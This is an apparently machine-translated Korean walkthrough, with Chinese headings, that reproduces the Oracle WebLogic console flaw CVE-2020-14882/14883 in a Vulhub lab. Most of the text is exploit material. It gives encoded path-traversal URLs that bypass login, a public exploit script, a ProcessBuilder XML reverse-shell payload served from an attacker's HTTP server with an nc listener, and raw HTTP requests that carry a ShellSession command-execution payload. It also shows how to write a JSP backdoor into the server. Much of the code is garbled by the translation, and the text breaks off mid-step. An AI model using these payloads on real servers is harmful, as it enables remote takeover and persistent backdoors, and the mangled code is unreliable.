제목 : Weblogic Console HTTP 프로토콜 원격 코드 실행 취약성 재발 (CVE-2020-14882)

0x01 漏洞描述​

최근, Oracle Weblogic Server 원격 코드 실행 취약성 (CVE-2020-14882) POC가 노출되었습니다. 무단 원격 공격자는 취약점을 사용하여 특수 HTTP GET 요청을 구성하여 영향을받는 Weblogic 서버에서 임의 코드를 실행할 수 있습니다. 그들은 모두 Weblogic의 콘솔 콘솔 구성 요소에 있습니다. 이 구성 요소는 전체 버전의 Weblogic의 기본 구성 요소이며 HTTP 프로토콜을 통해 취약점이 악용됩니다. CVE-2020-14882와 CVE-2020-14883을 결합한 후 원격 및 무단 공격자는 서버에서 임의의 코드를 직접 실행하여 시스템 권한을 얻을 수 있습니다.

0x02 漏洞影响​

Oracle Weblogic Server, 버전 10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0

0x03 漏洞复现:​

一、环境配置1.이 취약점 재생산은 Vulhub 환경을 사용하고 WebloCig 버전은 12.2.1.3.0 이며이 버전에는 취약점이 있습니다.
2. 취약성 환경 구성을 재현하십시오
git 클론 https://github.com/vulhub/vulhub.git
1049983-20201110004945372-437894267.png

CD vulhub/
CD Weblogic/
1049983-20201110004946048-333161501.png
CURL -S https://bootstrap.pypa.io/get-pip.py | python3
1049983-20201110004946480-1915701577.png
Service Docker Start
PIP Docker-Compose를 설치하십시오
1049983-20201110004946900-1654698404.png

Docker -Compose Up -D
1049983-20201110004947407-698220859.png

웹 로그 환경을 배치하려면 http://45.77.248.22733607001/콘솔을 방문하십시오
1049983-20201110004948021-1065139459.png
二、绕过后台登录1. 허가 취약성 우회, 주 POC는 다음과 같습니다.
/console/images/%252e%252e%252fconsole.portal
/console/CSS/%25%32%65%25%32%65%25%32%65%25%32%66Console.portal
패치를 우회하기 위해 자본을 소문자로 변경하십시오.
/console/css/%252e%252e%252fconsole.portal
2. WebloCig12는 백그라운드 로그인을 우회합니다
1049983-20201110004948629-2005793861.png

http://45.77.248.227:7001 //콘솔/CSS/%25%32%65%25%32%65%25%32%66console.portal
1049983-20201110004949217-211709860.png

http://45.77.248.227:7001/Console/CSS/%2E%2E%2FConsole.portal (소문 우회)
1049983-20201110004949772-419410762.png

三、脚本化利用스크립트 주소 : https://github.com/backlion/cve-2020-14882_all
1. 명령 에코
Python3 CVE-2020-14882_ALL.PY -Uhttp://45.77.248.227:7001/-c 'Whoai'
1049983-20201110004950203-1008568171.png
Python3 CVE-2020-14882_ALL.PY -Uhttp://45.77.248.227:7001/-c 'ls'
1049983-20201110004950844-424106896.png

2. Echo 명령없이 외부 XML 파일을 실행하십시오
Linux Rebound Shell 예제, poc.xml 파일 편집
Beans xmlns='http://www.springframework.org/sche...malocation='http://wwwwwwwww.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd '
bean id='pb'class='java.lang.processbuilder'init-method='start'
생성자-아그
목록
값/빈/배쉬/값
가치 C/값
value!
/목록
/생성자-arg
/콩
/콩
참고 : 위의 주소는 서버 IP 주소입니다.
POC.XML을 서버에 업로드 한 다음 Python3에서 HTTP 서버 웹을 활성화합니다.
1049983-20201110004951267-380875771.png
1049983-20201110004951674-178005576.png

스크립트를 통해 명령을 실행하십시오
Python3 CVE -2020-14882_ALL.PY -U http://45.77.248.227:7001/-x http://45.77.248.22733608000/poc.xml
1049983-20201110004952085-2144418476.png

NC를 사용하여 서버에서 포트를 들으십시오
NC -LLVP 2233
1049983-20201110004952426-13132293.png

四、手工提交利用方式一1. 다음 POC를 제출하면 명령을 원격으로 실행할 수 있습니다. 여기에서 위의 배경을 우회 한 다음 버프 슈트를 통해 패킷을 잡고 다음 POC로 수정하는 것이 가장 좋습니다.
get /console/css/%25%32%65%25%32%65%65%25%32%66Consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.shellsessessessessessessessessessessessession ( 'Weblogic.work.executeThread CurrentShread=(weblogic.executeThread)); weblogic.work.workadapter 어댑터=currentthread.getcurrentwork (); (weblogic.servlet.internal.servletrequestimpl) obj.getclass (). getMethod ( 'getservletrequest'); 문자열 [] { 'cmd.exe', '/c', cmd} : 새 String [] { '/bin/sh', '-c', cmd}; if (cmd!=null) {String result=new java.util.scanner java.lang.processbuilder (cmds) .start (). getInputStream ()) (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod('getResponse').invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentthread.interrupt (); ') http/1.1
Host: 45.77.248.227:7001
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Applewebkit/537.36 (Gecko와 같은 KHTML) Chrome/86.0.4240.183 Safari/537.36
accept: */*
참조 : http://45.77.248.227:7001 //콘솔/이미지/%252e%252e%252fconsole.portal? _nfpb=false_pagelabel=handle=c om.tangosol.coherence.mvel2.sh.shellsession (%22java.lang.runtime.getRuntime (). exec (%27calc.exe%27);%22);
accept-encoding: gzip, deflate
CMD: Whoami Pwd
허용 3: ZH-CN, ZH; Q=0.9
Cookie: Adminconsolesession=8guolm33tvnpruomy4v8yi8c9bd-glfq8jorw2nth-gjyhz-oggq! 1524101341
Connection: 닫기
1049983-20201110004952930-1531266041.png

2. 현재 페이지의 경로는 다음과 같습니다.
/u01/oracle/user_projects/domains/base_domain
3. 그러면이 디렉토리에 백도어 파일을 쓸 수 있습니다.
/u01/oracle/wlserver/server/lib/consoleapp/webapp/images
1049983-20201110004953417-1756900563.png

4. 다음 POC를 제출하여 백도어에 쓰기
get /console/css/%25%32%65%25%32%65%65%25%32%66Consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.shellsessessessessessessessessessessessession ( 'Weblogic.work.executeThread CurrentShread=(weblogic.executeThread)); weblogic.work.workadapter 어댑터=currentthread.getcurrentwork (); (weblogic.servlet.internal.servletrequestimpl) obj.getclass (). getMethod ( 'getservletrequest'); 문자열 [] { 'cmd.exe', '/c', cmd} : 새 String [] { '/bin/sh', '-c', cmd}; if (cmd!=null) {String result=new java.util.scanner java.lang.processbuilder (cmds) .start (). getInputStream ()) (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod('getResponse').invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentthread.interrupt (); ') http/1.1
Host: 45.77.248.227:7001
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Applewebkit/537.36 (Gecko와 같은 KHTML) Chrome/86.0.4240.183 Safari/537.36
accept: */*
참조 : http://45.77.248.227:7001 //콘솔/이미지/%252e%252e%252fconsole.portal? _nfpb=false_pagelabel=handle=c om.tangosol.coherence.mvel2.sh.shellsession (%22java.lang.runtime.getRuntime (). exec (%27calc.exe%27);%22);
accept-encoding: gzip, deflate
CMD: Whoami Pwd echo '이것은 테스트입니다!' /u01/oracle/wlserver/server/lib/consoleapp/webapp/images/test.jsp
허용 3: ZH-CN, ZH; Q=0.9
Cookie: Adminconsolesession=8guolm33tvnpruomy4v8yi8c9bd-glfq8jorw2nth-gjyhz-oggq! 1524101341
Connection: 닫기
1049983-20201110004953915-995740218.png

5. 백도어 파일이 Weblogic Virtual Directory에 작성되었음을 알 수 있습니다.
1049983-20201110004954916-272739668.png

6. 백도어를 얻으려면 다음 주소에 액세스하십시오
1049983-20201110004955328-1993509794.png

五、手工利用方式二1. Linux에서 XML 파일에 원격 액세스하여 쉘을 실행합니다.
먼저 XML 파일을 제작하고 http://45.77.248.22733608000/poc.xml과 같은 Weblogic에 액세스 할 수있는 서버에 저장해야합니다.
? xml 버전='1.0'
 
뒤로
상단